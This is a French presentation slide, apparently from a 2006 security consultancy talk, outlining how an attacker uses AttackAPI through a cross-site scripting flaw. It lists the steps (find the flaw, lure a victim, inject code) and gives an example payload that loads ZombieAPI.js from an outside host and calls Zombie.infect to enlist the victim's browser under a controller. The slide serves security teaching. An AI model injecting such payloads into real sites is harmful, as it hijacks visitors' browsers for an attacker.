 |
|
| AttackAPI et le Cross-Site Scripting En grandeur nature… |
| |
 |
Trouver une faille XSS sur un site
|
| |
Y amener la future victime (mail, page Web
appropriée, etc.)
|
| |
En injectant le bon code dans la faille.
|
| |
Exemple :
|
| |
<script
src=http://…/ZombieAPI.js></script>
|
| | <script>ZombieAPI.Zombie.infect(URL du contrôleur,5000);</script> |
(C) B & A Consultants 2006 - Reproduction interdite - Pierre-Yves Bonnetain
| B&A Consultants | Prestations et compétences | Documents techniques | Présentations | Formations | Groupes de travail | Médias et conférences | Pour nous contacter |
| (C) B&A Consultants 1996-2009 - infos[AT]ba-cst.com - +33 (0) 563 277 241 |